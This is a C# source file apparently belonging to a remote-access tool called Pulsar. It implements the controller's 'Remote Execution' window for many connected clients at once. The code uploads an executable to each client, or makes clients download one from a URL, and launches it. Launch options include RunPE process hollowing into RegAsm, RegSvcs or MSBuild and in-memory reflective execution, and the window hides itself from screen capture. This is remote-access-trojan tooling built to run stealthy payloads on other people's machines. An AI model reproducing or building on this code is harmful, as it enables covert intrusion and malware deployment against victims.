338 lines
12 KiB
C#
338 lines
12 KiB
C#
using Pulsar.Common.Enums;
|
|
using Pulsar.Common.Messages;
|
|
using Pulsar.Server.Forms.DarkMode;
|
|
using Pulsar.Server.Helper;
|
|
using Pulsar.Server.Messages;
|
|
using Pulsar.Server.Models;
|
|
using Pulsar.Server.Networking;
|
|
using System;
|
|
using System.Collections.Generic;
|
|
using System.IO;
|
|
using System.Linq;
|
|
using System.Windows.Forms;
|
|
|
|
namespace Pulsar.Server.Forms
|
|
{
|
|
public partial class FrmRemoteExecution : Form
|
|
{
|
|
private class RemoteExecutionMessageHandler
|
|
{
|
|
public FileManagerHandler FileHandler;
|
|
public TaskManagerHandler TaskHandler;
|
|
}
|
|
|
|
/// <summary>
|
|
/// The clients which can be used for the remote execution.
|
|
/// </summary>
|
|
private readonly Client[] _clients;
|
|
|
|
private readonly List<RemoteExecutionMessageHandler> _remoteExecutionMessageHandlers;
|
|
|
|
private enum TransferColumn
|
|
{
|
|
Client,
|
|
Status
|
|
}
|
|
|
|
private bool _isUpdate;
|
|
private bool _executeInMemoryDotNet;
|
|
private bool _useRunPE;
|
|
private string _runPETarget;
|
|
private string _runPECustomPath;
|
|
|
|
public FrmRemoteExecution(Client[] clients, bool Updating = false)
|
|
{
|
|
_clients = clients;
|
|
_remoteExecutionMessageHandlers = new List<RemoteExecutionMessageHandler>(clients.Length);
|
|
|
|
InitializeComponent();
|
|
|
|
chkUpdate.Checked = Updating;
|
|
|
|
cmbRunPETarget.SelectedIndex = 0;
|
|
|
|
DarkModeManager.ApplyDarkMode(this);
|
|
ScreenCaptureHider.ScreenCaptureHider.Apply(this.Handle);
|
|
|
|
foreach (var client in clients)
|
|
{
|
|
var remoteExecutionMessageHandler = new RemoteExecutionMessageHandler
|
|
{
|
|
FileHandler = new FileManagerHandler(client),
|
|
TaskHandler = new TaskManagerHandler(client)
|
|
};
|
|
|
|
var lvi = new ListViewItem(new[]
|
|
{
|
|
$"{client.Value.Username}@{client.Value.PcName} [{client.EndPoint.Address}:{client.EndPoint.Port}]",
|
|
"Waiting..."
|
|
})
|
|
{ Tag = remoteExecutionMessageHandler };
|
|
|
|
lstTransfers.Items.Add(lvi);
|
|
_remoteExecutionMessageHandlers.Add(remoteExecutionMessageHandler);
|
|
RegisterMessageHandler(remoteExecutionMessageHandler);
|
|
}
|
|
}
|
|
|
|
/// <summary>
|
|
/// Registers the message handlers for client communication.
|
|
/// </summary>
|
|
private void RegisterMessageHandler(RemoteExecutionMessageHandler remoteExecutionMessageHandler)
|
|
{
|
|
// TODO handle disconnects
|
|
remoteExecutionMessageHandler.TaskHandler.ProcessActionPerformed += ProcessActionPerformed;
|
|
remoteExecutionMessageHandler.FileHandler.ProgressChanged += SetStatusMessage;
|
|
remoteExecutionMessageHandler.FileHandler.FileTransferUpdated += FileTransferUpdated;
|
|
MessageHandler.Register(remoteExecutionMessageHandler.FileHandler);
|
|
MessageHandler.Register(remoteExecutionMessageHandler.TaskHandler);
|
|
}
|
|
|
|
/// <summary>
|
|
/// Unregisters the message handlers.
|
|
/// </summary>
|
|
private void UnregisterMessageHandler(RemoteExecutionMessageHandler remoteExecutionMessageHandler)
|
|
{
|
|
MessageHandler.Unregister(remoteExecutionMessageHandler.TaskHandler);
|
|
MessageHandler.Unregister(remoteExecutionMessageHandler.FileHandler);
|
|
remoteExecutionMessageHandler.FileHandler.ProgressChanged -= SetStatusMessage;
|
|
remoteExecutionMessageHandler.FileHandler.FileTransferUpdated -= FileTransferUpdated;
|
|
remoteExecutionMessageHandler.TaskHandler.ProcessActionPerformed -= ProcessActionPerformed;
|
|
}
|
|
|
|
private void FrmRemoteExecution_Load(object sender, EventArgs e)
|
|
{
|
|
this.Text = WindowHelper.GetWindowTitle("Remote Execution", _clients.Length);
|
|
}
|
|
|
|
private void FrmRemoteExecution_FormClosing(object sender, FormClosingEventArgs e)
|
|
{
|
|
foreach (var handler in _remoteExecutionMessageHandlers)
|
|
{
|
|
UnregisterMessageHandler(handler);
|
|
handler.FileHandler.Dispose();
|
|
}
|
|
|
|
_remoteExecutionMessageHandlers.Clear();
|
|
lstTransfers.Items.Clear();
|
|
}
|
|
|
|
private void btnExecute_Click(object sender, EventArgs e)
|
|
{
|
|
_isUpdate = chkUpdate.Checked;
|
|
_executeInMemoryDotNet = chkBoxReflectionExecute.Checked;
|
|
_useRunPE = chkRunPE.Checked;
|
|
|
|
// Check RunPE target selection
|
|
if (_useRunPE)
|
|
{
|
|
switch (cmbRunPETarget.SelectedIndex)
|
|
{
|
|
case 0: _runPETarget = "a"; break; // RegAsm.exe
|
|
case 1: _runPETarget = "b"; break; // RegSvcs.exe
|
|
case 2: _runPETarget = "c"; break; // MSBuild.exe
|
|
case 3:
|
|
_runPETarget = "d"; // Custom Path
|
|
_runPECustomPath = txtRunPECustomPath.Text;
|
|
if (string.IsNullOrWhiteSpace(_runPECustomPath))
|
|
{
|
|
MessageBox.Show("Please specify a custom path for RunPE.", "RunPE Custom Path Required", MessageBoxButtons.OK, MessageBoxIcon.Warning);
|
|
return;
|
|
}
|
|
break;
|
|
default: _runPETarget = "a"; break;
|
|
}
|
|
}
|
|
|
|
// Validate file type if RunPE or Reflection Execute is selected
|
|
if ((_useRunPE || _executeInMemoryDotNet) && !radioURL.Checked)
|
|
{
|
|
if (!txtPath.Text.EndsWith(".exe", StringComparison.OrdinalIgnoreCase))
|
|
{
|
|
MessageBox.Show("RunPE or Reflection Execute can only run .exe files.", "Invalid File Type", MessageBoxButtons.OK, MessageBoxIcon.Error);
|
|
return;
|
|
}
|
|
}
|
|
|
|
if (radioURL.Checked)
|
|
{
|
|
foreach (var handler in _remoteExecutionMessageHandlers)
|
|
{
|
|
if (!txtURL.Text.StartsWith("http", StringComparison.OrdinalIgnoreCase))
|
|
txtURL.Text = "http://" + txtURL.Text;
|
|
|
|
handler.TaskHandler.StartProcessFromWeb(txtURL.Text, _isUpdate, _executeInMemoryDotNet);
|
|
}
|
|
}
|
|
else
|
|
{
|
|
foreach (var handler in _remoteExecutionMessageHandlers)
|
|
{
|
|
handler.FileHandler.BeginUploadFile(txtPath.Text, "");
|
|
}
|
|
}
|
|
}
|
|
|
|
private void btnBrowse_Click(object sender, EventArgs e)
|
|
{
|
|
using (OpenFileDialog ofd = new OpenFileDialog())
|
|
{
|
|
ofd.Multiselect = false;
|
|
|
|
// Check if any checkbox on the form is checked
|
|
bool anyChecked = this.Controls.OfType<CheckBox>().Any(cb => cb.Checked);
|
|
|
|
ofd.Filter = anyChecked
|
|
? "Executable Files (*.exe)|*.exe"
|
|
: "All Files (*.*)|*.*";
|
|
|
|
if (ofd.ShowDialog() == DialogResult.OK)
|
|
{
|
|
txtPath.Text = ofd.FileName;
|
|
}
|
|
}
|
|
|
|
}
|
|
|
|
private void radioLocalFile_CheckedChanged(object sender, EventArgs e)
|
|
{
|
|
groupLocalFile.Enabled = radioLocalFile.Checked;
|
|
groupURL.Enabled = !radioLocalFile.Checked;
|
|
}
|
|
|
|
private void radioURL_CheckedChanged(object sender, EventArgs e)
|
|
{
|
|
groupLocalFile.Enabled = !radioURL.Checked;
|
|
groupURL.Enabled = radioURL.Checked;
|
|
}
|
|
|
|
/// <summary>
|
|
/// Called whenever a file transfer gets updated.
|
|
/// </summary>
|
|
/// <param name="sender">The message processor which raised the event.</param>
|
|
/// <param name="transfer">The updated file transfer.</param>
|
|
private void FileTransferUpdated(object sender, FileTransfer transfer)
|
|
{
|
|
for (var i = 0; i < lstTransfers.Items.Count; i++)
|
|
{
|
|
var handler = (RemoteExecutionMessageHandler)lstTransfers.Items[i].Tag;
|
|
|
|
if (handler.FileHandler.Equals(sender as FileManagerHandler) || handler.TaskHandler.Equals(sender as TaskManagerHandler))
|
|
{
|
|
lstTransfers.Items[i].SubItems[(int)TransferColumn.Status].Text = transfer.Status;
|
|
|
|
if (transfer.Status == "Completed")
|
|
{
|
|
var pathToStart = transfer.Type == Enums.TransferType.Upload ? transfer.LocalPath : transfer.RemotePath;
|
|
handler.TaskHandler.StartProcess(pathToStart, _isUpdate, _executeInMemoryDotNet, _useRunPE, _runPETarget, _runPECustomPath);
|
|
}
|
|
return;
|
|
}
|
|
}
|
|
}
|
|
|
|
// TODO: update documentation
|
|
/// <summary>
|
|
/// Sets the status of the file manager.
|
|
/// </summary>
|
|
/// <param name="sender">The message handler which raised the event.</param>
|
|
/// <param name="message">The new status.</param>
|
|
private void SetStatusMessage(object sender, string message)
|
|
{
|
|
for (var i = 0; i < lstTransfers.Items.Count; i++)
|
|
{
|
|
var handler = (RemoteExecutionMessageHandler)lstTransfers.Items[i].Tag;
|
|
|
|
if (handler.FileHandler.Equals(sender as FileManagerHandler) || handler.TaskHandler.Equals(sender as TaskManagerHandler))
|
|
{
|
|
lstTransfers.Items[i].SubItems[(int)TransferColumn.Status].Text = message;
|
|
return;
|
|
}
|
|
}
|
|
}
|
|
|
|
private void ProcessActionPerformed(object sender, ProcessAction action, bool result)
|
|
{
|
|
if (action != ProcessAction.Start) return;
|
|
|
|
for (var i = 0; i < lstTransfers.Items.Count; i++)
|
|
{
|
|
var handler = (RemoteExecutionMessageHandler)lstTransfers.Items[i].Tag;
|
|
|
|
if (handler.FileHandler.Equals(sender as FileManagerHandler) || handler.TaskHandler.Equals(sender as TaskManagerHandler))
|
|
{
|
|
lstTransfers.Items[i].SubItems[(int)TransferColumn.Status].Text = result ? "Successfully started process" : "Failed to start process";
|
|
return;
|
|
}
|
|
}
|
|
}
|
|
|
|
private void chkBoxReflectionExecute_CheckedChanged(object sender, EventArgs e)
|
|
{
|
|
if (chkBoxReflectionExecute.Checked)
|
|
{
|
|
chkRunPE.Checked = false;
|
|
chkUpdate.Checked = false;
|
|
}
|
|
}
|
|
|
|
private void chkUpdate_CheckedChanged(object sender, EventArgs e)
|
|
{
|
|
if (chkUpdate.Checked)
|
|
{
|
|
chkBoxReflectionExecute.Checked = false;
|
|
chkRunPE.Checked = false;
|
|
}
|
|
}
|
|
|
|
private void chkRunPE_CheckedChanged(object sender, EventArgs e)
|
|
{
|
|
if (chkRunPE.Checked)
|
|
{
|
|
chkBoxReflectionExecute.Checked = false;
|
|
chkUpdate.Checked = false;
|
|
cmbRunPETarget.Enabled = true;
|
|
}
|
|
else
|
|
{
|
|
cmbRunPETarget.Enabled = false;
|
|
txtRunPECustomPath.Visible = false;
|
|
txtRunPECustomPath.Enabled = false;
|
|
btnBrowseRunPE.Visible = false;
|
|
btnBrowseRunPE.Enabled = false;
|
|
}
|
|
}
|
|
|
|
private void cmbRunPETarget_SelectedIndexChanged(object sender, EventArgs e)
|
|
{
|
|
bool isCustomPath = cmbRunPETarget.SelectedIndex == 3;
|
|
txtRunPECustomPath.Visible = isCustomPath;
|
|
txtRunPECustomPath.Enabled = isCustomPath;
|
|
btnBrowseRunPE.Visible = isCustomPath;
|
|
btnBrowseRunPE.Enabled = isCustomPath;
|
|
}
|
|
|
|
private void btnBrowseRunPE_Click(object sender, EventArgs e)
|
|
{
|
|
using (OpenFileDialog ofd = new OpenFileDialog())
|
|
{
|
|
ofd.Multiselect = false;
|
|
|
|
// Check if any checkbox on the form is checked
|
|
bool anyChecked = this.Controls.OfType<CheckBox>().Any(cb => cb.Checked);
|
|
|
|
ofd.Filter = anyChecked
|
|
? "Executable Files (*.exe)|*.exe"
|
|
: "All Files (*.*)|*.*";
|
|
|
|
if (ofd.ShowDialog() == DialogResult.OK)
|
|
{
|
|
txtPath.Text = ofd.FileName;
|
|
}
|
|
}
|
|
|
|
|
|
}
|
|
}
|
|
}
|